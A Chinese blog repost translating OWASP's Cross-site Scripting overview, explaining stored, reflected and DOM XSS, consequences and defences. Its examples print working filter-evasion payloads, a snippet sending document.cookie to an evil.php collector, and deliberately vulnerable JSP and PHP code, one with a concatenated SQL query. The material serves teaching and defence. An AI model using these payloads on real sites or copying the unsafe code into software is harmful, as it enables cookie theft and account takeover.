本文源自 https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29

通过阅读和翻译，并按照自己的理解，整理成如下文档。

概述

XSS攻击是一种注入，通过这种攻击，恶意脚本被注入到被信任的网站里。

XSS攻击的表现是，攻击者使用web应用的缺陷，发送恶意代码到另外一个不同用户，一般是以浏览器端脚本的形式发送。

这种使得攻击成功的缺陷是相当广泛的，并存在于这种web应用中，应用使用用户输入数据，放到网站输出的响应中，但是没有对输出的用户输入数据进行校验和安全性转码。

浏览器收到带有恶意脚本的HTTP响应，但是其没有办法确定恶意脚本是不可信的，因为此响应来自可信任的网站，

所以浏览器会执行恶意脚本，这些恶意脚本可以访问 cookie、会话token、和其他敏感信息，它们都被浏览器端保存，在此网站中被使用。恶意脚本甚至可以重写 HTML页面内容。

更多不同类型的XSS缺陷的详细信息，见 https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting

XSS描述

XSS攻击发生，当下面条件成立：

1、数据输入到web应用中，通过非可信的手段，最常见的是web请求。

2、数据被输出到动态网页内容中，网页内容会被发送到web用户，缺少对恶意内容的校验。

恶意内容通常形式为 javascript、HTML、flash 和任何浏览器可以执行的其他代码。

基于XSS攻击的形式几乎无穷，但是通常包括：

1、发送私密数据给攻击者，例如cookie和会话信息。

2、重定向到攻击者控制的网站页面上。

3、以缺陷网站的幌子，在用户机器上执行其它恶意操作。

存储型和反射型XSS攻击

XSS攻击一般被分为两类：存储型和反射型。还有一类很不知名的XSS攻击类型，被称为DOM Based attack，此处分开讨论 https://www.owasp.org/index.php/DOM_Based_XSS。

存储型XSS攻击

Stored XSS攻击，将恶意代码注入到目标服务器上，并永久保存，保存位置例如数据库、消息论坛、访问者日志、评论区域、等等。

受害者请求一些存储类型的信息，同时也获取了保存恶意代码。

Stored XSS有时候被称为 Persistent or Type-I XSS.

反射型XSS攻击

Reflected XSS攻击，被注入的恶意代码从服务器反射回来，存于错误信息，搜索结果，和任何其它的响应，这些响应包括部分或者全部的输入，这个输入作为请求报文的部分，发往服务器。

反射型攻击发布到受害者是通过另外一个途径，在email消息中，或者在其他网站上。

如果受害者被欺骗点击了一个恶意链接，提交一个恶意构造的表单，或者甚至浏览恶意网站，

被注入代码到达缺陷的网站，网站将恶意代码反射回用户浏览器，浏览器执行恶意代码，因为其实从可信的网站获取，

反射型XSS攻击，又称为 Non-Persistent or Type-II XSS

其它类型的XSS缺陷

除了反射型和存储型XSS攻击，还有一种攻击方式 DOM based XSS，被这个人识别 Amit Klein in 2005

OWASP推荐使用如下分类：Types of Cross-Site Scripting

XSS攻击后果

XSS攻击的后果是一样的，与攻击的方式是存储反射还是 DOM based无关，攻击方式的区别是有效荷载怎么到达服务器端。

不要误以为只有只读内容的网站没有反射性XSS攻击的缺陷。

XSS攻击可以对最终用户造成多种问题，从烦人的恶作剧到威胁账户安全。

最常见的XSS严重的攻击包括泄露用户的会话cookie，允许攻击者劫持用户会话，并接管账户。

其他危害性攻击包括泄露最终用户文件，安装特洛伊木马程序，重定向用户到其它页面或者网站，修改网页的内容展示。

XSS缺陷允许攻击者修改通讯稿和新闻条目，影响公司股价，削弱消费者信心。

要是药品网站有XSS，攻击者可以修改药品的用量，会导致患者过量服用。

更多这种类型的攻击，见Content_Spoofing.

怎样确定网站是否有缺陷？

XSS漏洞难于确定，并从网站中去除。最好的方法是执行安全代码审查，并搜索所有的地方，这些地地方将请求中的输入输出到HTML中。注意有各种各样的HTML标签可以用来传送javascript 恶意代码。

Nessus Nikto 和其它的现成的工具可以帮助扫描出这些漏洞，但是也仅仅是找到表面，如果网站的一个部分有此问题，意味着很有可能也有其它问题。

如何保护我们的网站？

主要的XSS防御见此链接内描述 OWASP XSS Prevention Cheat Sheet.

除此之外，也需要关注的：

关闭web服务器的 http trace功能至关重要。此功能可以泄露cookie的会话信息。

OWASP ESAPI project 产生了一个安全组件集合，实现了几种语言，包括校验和转码方法，防止参数篡改和XSS攻击注入。

OWASP WebGoat Project有XSS和数据转码教程。

不同的XSS语法

在属性使用使用脚本的XSS攻击

不使用<script></script>标签也能实施XSS攻击。其他标签页可以准确地做相同的事情，例如

<body οnlοad=alert('test1')>

或者其它的属性，例如 onmouseover, onerror

<b οnmοuseοver=alert('Wufff!')>click me!</b>

<img src="http://url.to.file.which/not.exist" οnerrοr=alert(document.cookie);>

通过Encoded URI方案实施javascript类型的XSS攻击

如果需要隐藏掉XSS攻击，以防止web应用过滤器检查出来，可以对字符串中的字符进行转码。

e.g.: a=&#X41 (UTF-8) 使用在IMG标签为

<IMG SRC=j&#X41vascript:alert('test2')>

存在多种不同的UTF-8转码写法，给了我们更多的可能。

使用 code encoding 实现XSS攻击

可以编码恶意脚本为base64码，并放到 META 标签中。

这种方法完全去除了 alert 方法，此方法的更多信息见 RFC 2397

<META HTTP-EQUIV="refresh"
CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg">

这类和其它的例子见 OWASP XSS Filter Evasion Cheat Sheet，这着实是一个XSS攻击不同语法的百科全书。

例子

XSS攻击发生，如果恶意用户发送未经管制的内容到可信的网站上，为了是消遣其它合法用户。

例子1

下面的JSP代码例子，读取请求总的雇员ID号，并输出给用户

  <% String eid = request.getParameter("eid"); %> ...Employee ID: <%= eid %>

如果请求中的eid为数字，则没有问题，

如果请求中的eid为恶意代码，则浏览器会执行。

最初你可能以为没有什么安全问题，不可能会有那个用户在URL中输入恶意脚本，然后自己请求此URL。

但是如果恶意攻击者，构造了这么一个URL，并通过email或者社交网络发送给其他人这么一条链接，接受者如果点击此链接用户就变成受害者，恶意代码从服务器端反射回来，作为响应中的内容，在浏览器中被执行。

这就是反射型 XSS攻击。

例子2

下面的JSP代码从数据库中按照雇员ID查询，并打印出雇员的姓名

  <%... Statement stmt = conn.createStatement();ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);if (rs != null) {rs.next(); String name = rs.getString("name");%>Employee Name: <%= name %>

此段代码看似出现XSS攻击的

可能性小，因为雇员名称是从数据库中取出的，

此参数是受到应用程序控制的，应该是可信的。

但是如果，此参数使用客户端发送过来，并存储到数据库中，且在存入数据库中没有经过XSS攻击字符串合法性校验，

则仍然会导致XSS攻击。这就是存储型 XSS攻击。

这种攻击更加具有潜伏性，并且增加了影响多个用户的可能性。例如， web站点提供了guestbook数目，攻击者在此条目中注入了恶意代码，后面所有访问guestbook的用户都会执行恶意代码。

如上所展示， XSS缺陷是由于HTTP响应中包含了缺少校验的代码，存在三种途径XSS攻击到受害者：

1、数据直接从HTTP请求中读取，并反射到HTTP响应中。Reflected XSS

2、应用存储危险的数据在数据库或者数据仓库中，随后被读回应用，并插入到动态内容中。Stored XSS

3、同2，只不过是应用外的其他源存储数据，同样被此应用读取放到动态内容中。

攻击例子

例子1 cookie夺取

如果应用没有对输入进行校验，则攻击者很容易从认证过的用户盗取cookie，

所有攻击者的几乎必做的是，将下面代码填入任何输入控件（留言板、私信和用户档案）

<SCRIPT type="text/javascript">
var adr = '../evil.php?cakemonster=' + escape(document.cookie);
</SCRIPT>

上面的脚本将用户的cookie转义后，发送到evil.php脚本，攻击者会检查evil.php结果。一般黑客做法是将其写入文件。

例子2 错误页面

假设有一个错误页面，专门用于处理请求不存在的页面，就是一个经典的404页面，此页面会告诉用户所请求的 URL是不存在的。

<html>
<body><? php
print "Not found: " . urldecode($_SERVER["REQUEST_URI"]);
?></body>
</html>

如果请求如下URL

http://testsite.test/file_which_not_exist

响应是

Not found: /file_which_not_exist

强迫404页面包括我们的恶意代码

http://testsite.test/<script>alert("TEST");</script>

响应

Not found: / (but with JavaScript code <script>alert("TEST")

我们已经成功注入恶意代码，这意味着什么，我们可以利用此漏洞窃取用户的会话cookie

Related Attacks

XSS Attacks
Category:Injection Attack
Invoking untrusted mobile code
Cross Site History Manipulation (XSHM)

Related Vulnerabilities

Category:Input Validation Vulnerability
Cross Site Scripting Flaw
Types of Cross-Site Scripting

Related Controls

Category:Input Validation
HTML Entity Encoding
Output Validation
Canonicalization

References

OWASP's XSS (Cross Site Scripting) Prevention Cheat Sheet
OWASP Guide to Building Secure Web Applications and Web Services, Chapter 8: Data Validation
OWASP Testing Guide, Testing_for_Reflected_Cross_site_scripting_(OWASP-DV-001)
OWASP Testing Guide, Testing_for_Stored_Cross_site_scripting_(OWASP-DV-002)
OWASP Testing Guide, Testing_for_DOM-based_Cross_site_scripting_(OWASP-DV-003)
OWASP's How to Build an HTTP Request Validation Engine (J2EE validation using OWASP's Stinger)
Google Code Best Practice Guide: http://code.google.com/p/doctype/wiki/ArticlesXSS
The Cross Site Scripting FAQ: http://www.cgisecurity.com/articles/xss-faq.shtml
OWASP XSS Filter Evasion Cheat Sheet
CERT Advisory on Malicious HTML Tags: http://www.cert.org/advisories/CA-2000-02.html
CERT “Understanding Malicious Content Mitigation” http://www.cert.org/tech_tips/malicious_code_mitigation.html
Understanding the cause and effect of CSS Vulnerabilities: http://www.technicalinfo.net/papers/CSS.html
XSSed - Cross-Site Scripting (XSS) Information and Mirror Archive of Vulnerable Websites http://www.xssed.com

转载于:https://www.cnblogs.com/lightsong/p/4297677.html

Cross-site Scripting (XSS) 阅读笔记相关推荐

Reflected Cross Site Scripting (XSS)
前言反射型XSS, 即 Reflected Cross Site Scripting (XSS), 攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页 ...
DVWA-Reflected Cross Site Scripting (XSS)
实验环境: DVWA靶机:172.16.12.10 靶场用户名:admin 密码:123 windos攻击机:172.16.12.7 kali攻击机:172.16.12.30 实验步骤: 反射型Xss ...
DVWA关卡11：Reflected Cross Site Scripting (XSS)（反射型XSS）
目录 Low Medium High Impossible 反射型XSS:恶意脚本未经转义被直接输入并作为HTML输出的一部分,恶意脚本不在后台存储,直接在前端浏览器被执行. 攻击者可以使用XSS向恶 ...
跨站脚本攻击(Cross‐Site Scripting (XSS)）实践
作者发现博客园在首页显示摘要时未做html标签的过滤,致使摘要中的html代码可以被执行,从而可以注入任何想要被执行的js代码,作者利用这一缺陷在本文摘要中插入了一段js代码执行alert弹窗,同时增 ...
XSS（Cross Site Scripting）攻击简介
环境 Ubuntu 22.04 IntelliJ IDEA 2022.1.3 JDK 17.0.3.1 Spring Boot 3.0.1 Firefox 108.0.2 问题和分析在Intelli ...
DVWA V1.9：Reflected Cross Site Scripting（存储型XSS）
DVWA V1.9:Reflected Cross Site Scripting(存储型XSS) 存储型 XSS 介绍 Low 级别核心代码官方提示漏洞利用 Medium 级别核心代码官方提 ...
【常见Web应用安全问题】---1、Cross Site Scripting
Web应用程序的安全性问题依其存在的形势划分,种类繁多,这里不准备介绍所有的,只介绍常见的一些. 常见Web应用安全问题安全性问题的列表: 1.跨站脚本攻击(CSS or XSS, Cross Si ...
XSSF - Cross Site Scripting Framework
2019独角兽企业重金招聘Python工程师标准>>> 跨站脚本框架 (XSSF) 是一个设计用来快速发现网站存在XSS漏洞的一个安全工具集. 该项目是为了验证网站存在的XSS漏洞及 ...
Xss-reflected/stored跨站脚本分析（Cross site scripting）
Xss-reflected/stored跨站脚本分析(Cross site scripting) 基础知识针对Dom - dochtml Url概念:协议+网址/dns+端口+路径 XSS原理:对U ...

Cross-site Scripting (XSS) 阅读笔记

概述

相关安全活动

如何避免XSS缺陷？

针对XSS缺陷如何进行代码审查？

针对XSS缺陷如何测试？